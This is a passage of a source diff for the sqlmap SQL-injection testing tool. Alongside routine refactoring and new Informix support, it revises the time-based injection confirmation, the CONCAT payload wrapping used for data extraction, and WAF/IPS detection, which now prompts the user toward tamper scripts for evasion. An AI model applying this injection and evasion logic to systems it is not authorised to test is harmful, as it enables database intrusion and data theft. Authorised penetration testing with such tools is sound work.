-                                    infoMsg = "%s parameter '%s' appears to be '%s' injectable (with --string=\"%s\")" % (paramType, parameter, title, repr(conf.string).lstrip('u').strip("'"))
-                                    logger.info(infoMsg)
-
-                                    injectable = True
+                                    singleTimeLogMessage(infoMsg)
 
                         # In case of error-based SQL injection
                         elif method == PAYLOAD.METHOD.GREP:
@@ -531,8 +558,15 @@ def checkSqlInjection(place, parameter, value):
                         elif method == PAYLOAD.METHOD.TIME:
                             # Perform the test's request
                             trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
+                            trueCode = threadData.lastCode
 
                             if trueResult:
+                                # Extra validation step (e.g. to check for DROP protection mechanisms)
+                                if SLEEP_TIME_MARKER in reqPayload:
+                                    falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, "0"), place, timeBasedCompare=True, raise404=False)
+                                    if falseResult:
+                                        continue
+
                                 # Confirm test's results
                                 trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
 
@@ -643,9 +677,12 @@ def checkSqlInjection(place, parameter, value):
                         injection.data[stype].comment = comment
                         injection.data[stype].templatePayload = templatePayload
                         injection.data[stype].matchRatio = kb.matchRatio
+                        injection.data[stype].trueCode = trueCode
+                        injection.data[stype].falseCode = falseCode
 
                         injection.conf.textOnly = conf.textOnly
                         injection.conf.titles = conf.titles
+                        injection.conf.code = conf.code
                         injection.conf.string = conf.string
                         injection.conf.notString = conf.notString
                         injection.conf.regexp = conf.regexp
@@ -896,7 +933,7 @@ def heuristicCheckSqlInjection(place, parameter):
 
     randStr = ""
 
-    while '\'' not in randStr:
+    while randStr.count('\'') != 1 or randStr.count('\"') != 1:
         randStr = randomStr(length=10, alphabet=HEURISTIC_CHECK_ALPHABET)
 
     kb.heuristicMode = True
@@ -1034,12 +1071,22 @@ def checkDynamicContent(firstPage, secondPage):
         logger.critical(warnMsg)
         return
 
-    seqMatcher = getCurrentThreadData().seqMatcher
-    seqMatcher.set_seq1(firstPage)
-    seqMatcher.set_seq2(secondPage)
+    if firstPage and secondPage and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (firstPage, secondPage)):
+        ratio = None
+    else:
+        try:
+            seqMatcher = getCurrentThreadData().seqMatcher
+            seqMatcher.set_seq1(firstPage)
+            seqMatcher.set_seq2(secondPage)
+            ratio = seqMatcher.quick_ratio()
+        except MemoryError:
+            ratio = None
+
+    if ratio is None:
+        kb.skipSeqMatcher = True
 
     # In case of an intolerable difference turn on dynamicity removal engine
-    if seqMatcher.quick_ratio() <= UPPER_RATIO_BOUND:
+    elif ratio <= UPPER_RATIO_BOUND:
         findDynamicContent(firstPage, secondPage)
 
         count = 0
@@ -1282,11 +1329,11 @@ def identifyWaf():
             kb.redirectChoice = popValue()
         return page or "", headers or {}, code
 
-    retVal = False
+    retVal = []
 
     for function, product in kb.wafFunctions:
         try:
-            logger.debug("checking for WAF/IDS/IPS product '%s'" % product)
+            logger.debug("checking for WAF/IPS/IDS product '%s'" % product)
             found = function(_)
         except Exception, ex:
             errMsg = "exception occurred while running "
@@ -1296,22 +1343,24 @@ def identifyWaf():
             found = False
 
         if found:
-            retVal = product
-            break
+            errMsg = "WAF/IPS/IDS identified as '%s'" % product
+            logger.critical(errMsg)
+
+            retVal.append(product)
 
     if retVal:
-        errMsg = "WAF/IDS/IPS identified as '%s'. Please " % retVal
-        errMsg += "consider usage of tamper scripts (option '--tamper')"
-        logger.critical(errMsg)
-
         message = "are you sure that you want to "
         message += "continue with further target testing? [y/N] "
         output = readInput(message, default="N")
 
+        if not conf.tamper:
+            warnMsg = "please consider usage of tamper scripts (option '--tamper')"
+            singleTimeWarnMessage(warnMsg)
+
         if output and output[0] not in ("Y", "y"):
             raise SqlmapUserQuitException
     else:
-        warnMsg = "WAF/IDS/IPS product hasn't been identified"
+        warnMsg = "WAF/IPS/IDS product hasn't been identified"
         logger.warn(warnMsg)
 
     kb.testType = None
@@ -1339,7 +1388,7 @@ def checkNullConnection():
         if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
             kb.nullConnection = NULLCONNECTION.HEAD
 
-            infoMsg = "NULL connection is supported with HEAD header"
+            infoMsg = "NULL connection is supported with HEAD method (Content-Length)"
             logger.info(infoMsg)
         else:
             page, headers, _ = Request.getPage(auxHeaders={HTTP_HEADER.RANGE: "bytes=-1"})
@@ -1347,7 +1396,7 @@ def checkNullConnection():
             if page and len(page) == 1 and HTTP_HEADER.CONTENT_RANGE in (headers or {}):
                 kb.nullConnection = NULLCONNECTION.RANGE
 
-                infoMsg = "NULL connection is supported with GET header "
+                infoMsg = "NULL connection is supported with GET method (Range)"
                 infoMsg += "'%s'" % kb.nullConnection
                 logger.info(infoMsg)
             else:

lib/controller/controller.py

@@ -487,7 +487,7 @@ def start():
                             check = checkDynParam(place, parameter, value)
 
                             if not check:
-                                warnMsg = "%s parameter '%s' does not appear dynamic" % (paramType, parameter)
+                                warnMsg = "%s parameter '%s' does not appear to be dynamic" % (paramType, parameter)
                                 logger.warn(warnMsg)
 
                                 if conf.skipStatic:
@@ -545,7 +545,7 @@ def start():
                                             kb.testedParams.add(paramKey)
 
                                 if not injectable:
-                                    warnMsg = "%s parameter '%s' is not " % (paramType, parameter)
+                                    warnMsg = "%s parameter '%s' does not seem to be " % (paramType, parameter)
                                     warnMsg += "injectable"
                                     logger.warn(warnMsg)
 
@@ -662,7 +662,7 @@ def start():
                 _saveToResultsFile()
 
                 errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL")
-                logger.error(errMsg)
+                logger.error(errMsg.lstrip(", "))
             else:
                 logger.critical(errMsg)
                 return False

lib/controller/handler.py

@@ -22,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import DB2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
+from lib.core.settings import INFORMIX_ALIASES
 from lib.utils.sqlalchemy import SQLAlchemy
 
 from plugins.dbms.mssqlserver import MSSQLServerMap
@@ -46,6 +47,8 @@ from plugins.dbms.db2 import DB2Map
 from plugins.dbms.db2.connector import Connector as DB2Conn
 from plugins.dbms.hsqldb import HSQLDBMap
 from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
+from plugins.dbms.informix import InformixMap
+from plugins.dbms.informix.connector import Connector as InformixConn
 
 def setHandler():
     """
@@ -65,6 +68,7 @@ def setHandler():
                   (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
                   (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
                   (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
+                  (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
             ]
 
     _ = max(_ if (Backend.getIdentifiedDbms() or "").lower() in _[1] else None for _ in items)
@@ -82,9 +86,6 @@ def setHandler():
         conf.dbmsConnector = Connector()
 
         if conf.direct:
-            logger.debug("forcing timeout to 10 seconds")
-            conf.timeout = 10
-
             dialect = DBMS_DICT[dbms][3]
 
             if dialect:

lib/core/agent.py

@@ -43,6 +43,7 @@ from lib.core.settings import GENERIC_SQL_COMMENT
 from lib.core.settings import NULL
 from lib.core.settings import PAYLOAD_DELIMITER
 from lib.core.settings import REPLACEMENT_MARKER
+from lib.core.settings import SLEEP_TIME_MARKER
 from lib.core.unescaper import unescaper
 
 class Agent(object):
@@ -120,7 +121,7 @@ class Agent(object):
         elif place == PLACE.CUSTOM_HEADER:
             paramString = origValue
             origValue = origValue.split(CUSTOM_INJECTION_MARK_CHAR)[0]
-            origValue = origValue[origValue.index(',') + 1:]
+            origValue = origValue[origValue.find(',') + 1:]
             match = re.search(r"([^;]+)=(?P<value>[^;]+);?\Z", origValue)
             if match:
                 origValue = match.group("value")
@@ -343,7 +344,7 @@ class Agent(object):
         """
 
         if payload:
-            payload = payload.replace("[SLEEPTIME]", str(conf.timeSec))
+            payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
 
         return payload
 
@@ -486,7 +487,7 @@ class Agent(object):
         @rtype: C{str}
         """
 
-        prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT \d+)\s+\d+)*"
+        prefixRegex = r"(?:\s+(?:FIRST|SKIP|LIMIT(?: \d+)?)\s+\d+)*"
         fieldsSelectTop = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
         fieldsSelectRownum = re.search(r"\ASELECT\s+([^()]+?),\s*ROWNUM AS LIMIT FROM", query, re.I)
         fieldsSelectDistinct = re.search(r"\ASELECT%s\s+DISTINCT\((.+?)\)\s+FROM" % prefixRegex, query, re.I)
@@ -507,26 +508,26 @@ class Agent(object):
         if fieldsSubstr:
             fieldsToCastStr = query
         elif fieldsMinMaxstr:
-            fieldsToCastStr = fieldsMinMaxstr.groups()[0]
+            fieldsToCastStr = fieldsMinMaxstr.group(1)
         elif fieldsExists:
             if fieldsSelect:
-                fieldsToCastStr = fieldsSelect.groups()[0]
+                fieldsToCastStr = fieldsSelect.group(1)
         elif fieldsSelectTop:
-            fieldsToCastStr = fieldsSelectTop.groups()[0]
+            fieldsToCastStr = fieldsSelectTop.group(1)
         elif fieldsSelectRownum:
-            fieldsToCastStr = fieldsSelectRownum.groups()[0]
+            fieldsToCastStr = fieldsSelectRownum.group(1)
         elif fieldsSelectDistinct:
             if Backend.getDbms() in (DBMS.HSQLDB,):
                 fieldsToCastStr = fieldsNoSelect
             else:
-                fieldsToCastStr = fieldsSelectDistinct.groups()[0]
+                fieldsToCastStr = fieldsSelectDistinct.group(1)
         elif fieldsSelectCase:
-            fieldsToCastStr = fieldsSelectCase.groups()[0]
+            fieldsToCastStr = fieldsSelectCase.group(1)
         elif fieldsSelectFrom:
             fieldsToCastStr = query[:unArrayizeValue(_)] if _ else query
             fieldsToCastStr = re.sub(r"\ASELECT%s\s+" % prefixRegex, "", fieldsToCastStr)
         elif fieldsSelect:
-            fieldsToCastStr = fieldsSelect.groups()[0]
+            fieldsToCastStr = fieldsSelect.group(1)
 
         # Function
         if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
@@ -667,24 +668,23 @@ class Agent(object):
                 concatenatedQuery = "'%s'&%s&'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
 
         else:
-            warnMsg = "applying generic concatenation with double pipes ('||')"
+            warnMsg = "applying generic concatenation (CONCAT)"
             singleTimeWarnMessage(warnMsg)
 
             if fieldsExists:
-                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
-                concatenatedQuery += "||'%s'" % kb.chars.stop
+                concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
+                concatenatedQuery += "),'%s')" % kb.chars.stop
             elif fieldsSelectCase:
-                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||(SELECT " % kb.chars.start, 1)
-                concatenatedQuery += ")||'%s'" % kb.chars.stop
+                concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
+                concatenatedQuery += "),'%s')" % kb.chars.stop
             elif fieldsSelectFrom:
-                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                 _ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
-                concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
+                concatenatedQuery = "%s),'%s')%s" % (concatenatedQuery[:_].replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1), kb.chars.stop, concatenatedQuery[_:])
             elif fieldsSelect:
-                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
-                concatenatedQuery += "||'%s'" % kb.chars.stop
+                concatenatedQuery = concatenatedQuery.replace("SELECT ", "CONCAT(CONCAT('%s'," % kb.chars.start, 1)
+                concatenatedQuery += "),'%s')" % kb.chars.stop
             elif fieldsNoSelect:
-                concatenatedQuery = "'%s'||%s||'%s'" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
+                concatenatedQuery = "CONCAT(CONCAT('%s',%s),'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
 
         return concatenatedQuery
 

lib/core/common.py

@@ -119,6 +119,7 @@ from lib.core.settings import IP_ADDRESS_REGEX
 from lib.core.settings import ISSUES_PAGE
 from lib.core.settings import IS_WIN
 from lib.core.settings import LARGE_OUTPUT_THRESHOLD
+from lib.core.settings import LOCALHOST
 from lib.core.settings import MIN_ENCODED_LEN_CHECK
 from lib.core.settings import MIN_TIME_RESPONSES
 from lib.core.settings import MIN_VALID_DELAYED_RESPONSE
@@ -140,6 +141,7 @@ from lib.core.settings import REFLECTED_REPLACEMENT_REGEX
 from lib.core.settings import REFLECTED_VALUE_MARKER
 from lib.core.settings import REFLECTIVE_MISS_THRESHOLD
 from lib.core.settings import SENSITIVE_DATA_REGEX
+from lib.core.settings import SENSITIVE_OPTIONS
 from lib.core.settings import SUPPORTED_DBMS
 from lib.core.settings import TEXT_TAG_REGEX
 from lib.core.settings import TIME_STDEV_COEFF
@@ -695,8 +697,6 @@ def paramToDict(place, parameters=None):
 
 def getManualDirectories():
     directories = None
-    pagePath = directoryPath(conf.path)
-
     defaultDocRoot = DEFAULT_DOC_ROOTS.get(Backend.getOs(), DEFAULT_DOC_ROOTS[OS.LINUX])
 
     if kb.absFilePaths:
@@ -714,18 +714,18 @@ def getManualDirectories():
                 windowsDriveLetter, absFilePath = absFilePath[:2], absFilePath[2:]
                 absFilePath = ntToPosixSlashes(posixToNtSlashes(absFilePath))
 
-            if any("/%s/" % _ in absFilePath for _ in GENERIC_DOC_ROOT_DIRECTORY_NAMES):
-                for _ in GENERIC_DOC_ROOT_DIRECTORY_NAMES:
-                    _ = "/%s/" % _
+            for _ in list(GENERIC_DOC_ROOT_DIRECTORY_NAMES) + [conf.hostname]:
+                _ = "/%s/" % _
 
-                    if _ in absFilePath:
-                        directories = "%s%s" % (absFilePath.split(_)[0], _)
-                        break
+                if _ in absFilePath:
+                    directories = "%s%s" % (absFilePath.split(_)[0], _)
+                    break
 
-            if pagePath and pagePath in absFilePath:
-                directories = absFilePath.split(pagePath)[0]
-                if windowsDriveLetter:
-                    directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories))
+            if not directories and conf.path.strip('/') and conf.path in absFilePath:
+                directories = absFilePath.split(conf.path)[0]
+
+            if directories and windowsDriveLetter:
+                directories = "%s/%s" % (windowsDriveLetter, ntToPosixSlashes(directories))
 
     directories = normalizePath(directories)
 
@@ -815,11 +815,6 @@ def getAutoDirectories():
         warnMsg = "unable to automatically parse any web server path"
         logger.warn(warnMsg)
 
-    _ = extractRegexResult(r"//[^/]+?(?P<result>/.*)/", conf.url)  # web directory
-
-    if _:
-        retVal.add(_)
-
     return list(retVal)
 
 def filePathToSafeString(filePath):
@@ -892,12 +887,12 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
             else:
                 message = data
 
-            if hasattr(conf, "api"):
-                sys.stdout.write(message, status, content_type)
-            else:
-                sys.stdout.write(setColor(message, bold))
-
             try:
+                if hasattr(conf, "api"):
+                    sys.stdout.write(message, status, content_type)
+                else:
+                    sys.stdout.write(setColor(message, bold))
+
                 sys.stdout.flush()
             except IOError:
                 pass
@@ -933,20 +928,30 @@ def dataToDumpFile(dumpFile, data):
         else:
             raise
 
-
 def dataToOutFile(filename, data):
     retVal = None
 
     if data:
-        retVal = os.path.join(conf.filePath, filePathToSafeString(filename))
+        while True:
+            retVal = os.path.join(conf.filePath, filePathToSafeString(filename))
 
-        try:
-            with open(retVal, "w+b") as f:
-                f.write(data)
-        except IOError, ex:
-            errMsg = "something went wrong while trying to write "
-            errMsg += "to the output file ('%s')" % getSafeExString(ex)
-            raise SqlmapGenericException(errMsg)
+            try:
+                with open(retVal, "w+b") as f:  # has to stay as non-codecs because data is raw ASCII encoded data
+                    f.write(unicodeencode(data))
+            except UnicodeEncodeError, ex:
+                _ = normalizeUnicode(filename)
+                if filename != _:
+                    filename = _
+                else:
+                    errMsg = "couldn't write to the "
+                    errMsg += "output file ('%s')" % getSafeExString(ex)
+                    raise SqlmapGenericException(errMsg)
+            except IOError, ex:
+                errMsg = "something went wrong while trying to write "
+                errMsg += "to the output file ('%s')" % getSafeExString(ex)
+                raise SqlmapGenericException(errMsg)
+            else:
+                break
 
     return retVal
 
@@ -1012,9 +1017,13 @@ def readInput(message, default=None, checkBatch=True):
                 retVal = raw_input() or default
                 retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
             except:
-                time.sleep(0.05)  # Reference: http://www.gossamer-threads.com/lists/python/python/781893
-                kb.prependFlag = True
-                raise SqlmapUserQuitException
+                try:
+                    time.sleep(0.05)  # Reference: http://www.gossamer-threads.com/lists/python/python/781893
+                except:
+                    pass
+                finally:
+                    kb.prependFlag = True
+                    raise SqlmapUserQuitException
 
             finally:
                 logging._releaseLock()
@@ -1179,11 +1188,13 @@ def cleanQuery(query):
 
     return retVal
 
-def setPaths():
+def setPaths(rootPath):
     """
     Sets absolute paths for project directories and files
     """
 
+    paths.SQLMAP_ROOT_PATH = rootPath
+
     # sqlmap paths
     paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra")
     paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "procs")
@@ -1197,7 +1208,8 @@ def setPaths():
     paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")
 
     _ = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
-    paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding())
+    paths.SQLMAP_HOME_PATH = _
+    paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
     paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
     paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
 
@@ -1206,6 +1218,7 @@ def setPaths():
     paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst")
     paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst")
     paths.GITHUB_HISTORY = os.path.join(_, "github.hst")
+    paths.CHECKSUM_MD5 = os.path.join(paths.SQLMAP_TXT_PATH, "checksum.md5")
     paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
     paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
     paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
@@ -1330,7 +1343,7 @@ def parseTargetDirect():
                 else:
                     errMsg = "sqlmap requires '%s' third-party library " % data[1]
                     errMsg += "in order to directly connect to the DBMS "
-                    errMsg += "%s. You can download it from '%s'" % (dbmsName, data[2])
+                    errMsg += "'%s'. You can download it from '%s'" % (dbmsName, data[2])
                     errMsg += ". Alternative is to use a package 'python-sqlalchemy' "
                     errMsg += "with support for dialect '%s' installed" % data[3]
                     raise SqlmapMissingDependence(errMsg)
@@ -1399,6 +1412,10 @@ def parseTargetUrl():
     else:
         conf.port = 80
 
+    if conf.port < 0 or conf.port > 65535:
+        errMsg = "invalid target URL's port (%d)" % conf.port
+        raise SqlmapSyntaxException(errMsg)
+
     conf.url = getUnicode("%s://%s:%d%s" % (conf.scheme, ("[%s]" % conf.hostname) if conf.ipv6 else conf.hostname, conf.port, conf.path))
     conf.url = conf.url.replace(URI_QUESTION_MARKER, '?')
 
@@ -2219,10 +2236,6 @@ def getUnicode(value, encoding=None, noneToNull=False):
     if noneToNull and value is None:
         return NULL
 
-    if isListLike(value):
-        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
-        return value
-
     if isinstance(value, unicode):
         return value
     elif isinstance(value, basestring):
@@ -2234,6 +2247,9 @@ def getUnicode(value, encoding=None, noneToNull=False):
                     return unicode(value, UNICODE_ENCODING)
                 except:
                     value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:]
+    elif isListLike(value):
+        value = list(getUnicode(_, encoding, noneToNull) for _ in value)
+        return value
     else:
         try:
             return unicode(value)
@@ -2397,6 +2413,32 @@ def extractErrorMessage(page):
 
     return retVal
 
+def findLocalPort(ports):
+    """
+    Find the first opened localhost port from a given list of ports (e.g. for Tor port checks)
+    """
+
+    retVal = None
+
+    for port in ports:
+        try:
+            try:
+                s = socket._orig_socket(socket.AF_INET, socket.SOCK_STREAM)
+            except AttributeError:
+                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            s.connect((LOCALHOST, port))
+            retVal = port
+            break
+        except socket.error:
+            pass
+        finally:
+            try:
+                s.close()
+            except socket.error:
+                pass
+
+    return retVal
+
 def findMultipartPostBoundary(post):
     """
     Finds value for a boundary parameter in given multipart POST body
@@ -2551,6 +2593,7 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg):
 def getPageTemplate(payload, place):  # Cross-linked function
     raise NotImplementedError
 
+@cachedmethod
 def getPublicTypeMembers(type_, onlyValues=False):
     """
     Useful for getting members from types (e.g. in enums)
@@ -2559,12 +2602,16 @@ def getPublicTypeMembers(type_, onlyValues=False):
     ['Linux', 'Windows']
     """
 
+    retVal = []
+
     for name, value in inspect.getmembers(type_):
         if not name.startswith('__'):
             if not onlyValues:
-                yield (name, value)
+                retVal.append((name, value))
             else:
-                yield value
+                retVal.append(value)
+
+    return retVal
 
 def enumValueToNameLookup(type_, value_):
     """
@@ -3072,6 +3119,24 @@ def decodeIntToUnicode(value):
 
     return retVal
 
+def checkIntegrity():
+    """
+    Checks integrity of code files during the unhandled exceptions
+    """
+
+    logger.debug("running code integrity check")
+
+    retVal = True
+    for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)):
+        path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _))
+        if not os.path.isfile(path):
+            logger.error("missing file detected '%s'" % path)
+            retVal = False
+        elif hashlib.md5(open(path, 'rb').read()).hexdigest() != checksum:
+            logger.error("wrong checksum of file '%s' detected" % path)
+            retVal = False
+    return retVal
+
 def unhandledExceptionMessage():
     """
     Returns detailed message about occurred unhandled exception
@@ -3128,13 +3193,28 @@ def createGithubIssue(errMsg, excMsg):
         ex = None
         errMsg = errMsg[errMsg.find("\n"):]
 
+        req = urllib2.Request(url="https://api.github.com/search/issues?q=%s" % urllib.quote("repo:sqlmapproject/sqlmap Unhandled exception (#%s)" % key))
+
+        try:
+            content = urllib2.urlopen(req).read()
+            _ = json.loads(content)
+            duplicate = _["total_count"] > 0
+            closed = duplicate and _["items"][0]["state"] == "closed"
+            if duplicate:
+                warnMsg = "issue seems to be already reported"
+                if closed:
+                    warnMsg += " and resolved. Please update to the latest "
+                    warnMsg += "development version from official GitHub repository at '%s'" % GIT_PAGE
+                logger.warn(warnMsg)
+                return
+        except:
+            pass
 
         data = {"title": "Unhandled exception (#%s)" % key, "body": "```%s\n```\n```\n%s```" % (errMsg, excMsg)}
         req = urllib2.Request(url="https://api.github.com/repos/sqlmapproject/sqlmap/issues", data=json.dumps(data), headers={"Authorization": "token %s" % GITHUB_REPORT_OAUTH_TOKEN.decode("base64")})
 
         try:
-            f = urllib2.urlopen(req)
-            content = f.read()
+            content = urllib2.urlopen(req).read()
         except Exception, ex:
             content = None
 
@@ -3163,7 +3243,7 @@ def maskSensitiveData(msg):
 
     retVal = getUnicode(msg)
 
-    for item in filter(None, map(lambda x: conf.get(x), ("hostname", "data", "googleDork", "authCred", "proxyCred", "tbl", "db", "col", "user", "cookie", "proxy", "rFile", "wFile", "dFile"))):
+    for item in filter(None, map(lambda x: conf.get(x), SENSITIVE_OPTIONS)):
         regex = SENSITIVE_DATA_REGEX % re.sub("(\W)", r"\\\1", getUnicode(item))
         while extractRegexResult(regex, retVal):
             value = extractRegexResult(regex, retVal)
@@ -3338,7 +3418,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
                 retVal = "\"%s\"" % retVal.strip("\"")
             elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
                 retVal = "\"%s\"" % retVal.strip("\"").upper()
-            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,) and not re.match(r"\A\w+\Z", retVal, re.U):
+            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL,) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)):
                 retVal = "[%s]" % retVal.strip("[]")
 
         if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
@@ -3555,6 +3635,7 @@ def randomizeParameterValue(value):
 
     return retVal
 
+@cachedmethod
 def asciifyUrl(url, forceQuote=False):
     """
     Attempts to make a unicode URL usuable with ``urllib/urllib2``.
@@ -3626,7 +3707,7 @@ def asciifyUrl(url, forceQuote=False):
 
 def isAdminFromPrivileges(privileges):
     """
-    Inspects privileges to see if those are comming from an admin user
+    Inspects privileges to see if those are coming from an admin user
     """
 
     # In PostgreSQL the usesuper privilege means that the
@@ -3705,6 +3786,11 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
                                     item.selected = True
                                 break
 
+                if conf.crawlExclude and re.search(conf.crawlExclude, form.action or ""):
+                    dbgMsg = "skipping '%s'" % form.action
+                    logger.debug(dbgMsg)
+                    continue
+
                 request = form.click()
             except (ValueError, TypeError), ex:
                 errMsg = "there has been a problem while "
@@ -4049,8 +4135,11 @@ def getRequestHeader(request, name):
     """
 
     retVal = None
+
     if request and name:
-        retVal = max(value if name.upper() == key.upper() else None for key, value in request.header_items())
+        _ = name.upper()
+        retVal = max([value if _ == key.upper() else None for key, value in request.header_items()])
+
     return retVal
 
 def isNumber(value):

lib/core/convert.py

@@ -5,9 +5,15 @@ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """
 
+try:
+    import cPickle as pickle
+except:
+    import pickle
+finally:
+    import pickle as picklePy
+
 import base64
 import json
-import pickle
 import re
 import StringIO
 import sys
@@ -41,7 +47,7 @@ def base64pickle(value):
     Serializes (with pickle) and encodes to Base64 format supplied (binary) value
 
     >>> base64pickle('foobar')
-    'gAJVBmZvb2JhcnEALg=='
+    'gAJVBmZvb2JhcnEBLg=='
     """
 
     retVal = None
@@ -60,11 +66,11 @@ def base64pickle(value):
 
     return retVal
 
-def base64unpickle(value):
+def base64unpickle(value, unsafe=False):
     """
     Decodes value from Base64 to plain format and deserializes (with pickle) its content
 
-    >>> base64unpickle('gAJVBmZvb2JhcnEALg==')
+    >>> base64unpickle('gAJVBmZvb2JhcnEBLg==')
     'foobar'
     """
 
@@ -78,9 +84,12 @@ def base64unpickle(value):
         self.load_reduce()
 
     def loads(str):
-        file = StringIO.StringIO(str)
-        unpickler = pickle.Unpickler(file)
-        unpickler.dispatch[pickle.REDUCE] = _
+        f = StringIO.StringIO(str)
+        if unsafe:
+            unpickler = picklePy.Unpickler(f)
+            unpickler.dispatch[picklePy.REDUCE] = _
+        else:
+            unpickler = pickle.Unpickler(f)
         return unpickler.load()
 
     try:

lib/core/defaults.py

@@ -21,7 +21,7 @@ _defaults = {
    "risk":         1,
    "dumpFormat":   "CSV",
    "tech":         "BEUSTQ",
-   "torType":      "HTTP",
+   "torType":      "SOCKS5",
 }
 
 defaults = AttribDict(_defaults)

lib/core/dicts.py

@@ -21,219 +21,268 @@ from lib.core.settings import MAXDB_ALIASES
 from lib.core.settings import SYBASE_ALIASES
 from lib.core.settings import DB2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
+from lib.core.settings import INFORMIX_ALIASES
 
 FIREBIRD_TYPES = {
-                    261: "BLOB",
-                    14: "CHAR",
-                    40: "CSTRING",
-                    11: "D_FLOAT",
-                    27: "DOUBLE",
-                    10: "FLOAT",
-                    16: "INT64",
-                    8: "INTEGER",
-                    9: "QUAD",
-                    7: "SMALLINT",
-                    12: "DATE",
-                    13: "TIME",
-                    35: "TIMESTAMP",
-                    37: "VARCHAR",
-                }
+    261: "BLOB",
+    14: "CHAR",
+    40: "CSTRING",
+    11: "D_FLOAT",
+    27: "DOUBLE",
+    10: "FLOAT",
+    16: "INT64",
+    8: "INTEGER",
+    9: "QUAD",
+    7: "SMALLINT",
+    12: "DATE",
+    13: "TIME",
+    35: "TIMESTAMP",
+    37: "VARCHAR",
+}
+
+INFORMIX_TYPES = {
+    0: "CHAR",
+    1: "SMALLINT",
+    2: "INTEGER",
+    3: "FLOAT",
+    4: "SMALLFLOAT",
+    5: "DECIMAL",
+    6: "SERIAL",
+    7: "DATE",
+    8: "MONEY",
+    9: "NULL",
+    10: "DATETIME",
+    11: "BYTE",
+    12: "TEXT",
+    13: "VARCHAR",
+    14: "INTERVAL",
+    15: "NCHAR",
+    16: "NVARCHAR",
+    17: "INT8",
+    18: "SERIAL8",
+    19: "SET",
+    20: "MULTISET",
+    21: "LIST",
+    22: "ROW (unnamed)",
+    23: "COLLECTION",
+    40: "Variable-length opaque type",
+    41: "Fixed-length opaque type",
+    43: "LVARCHAR",
+    45: "BOOLEAN",
+    52: "BIGINT",
+    53: "BIGSERIAL",
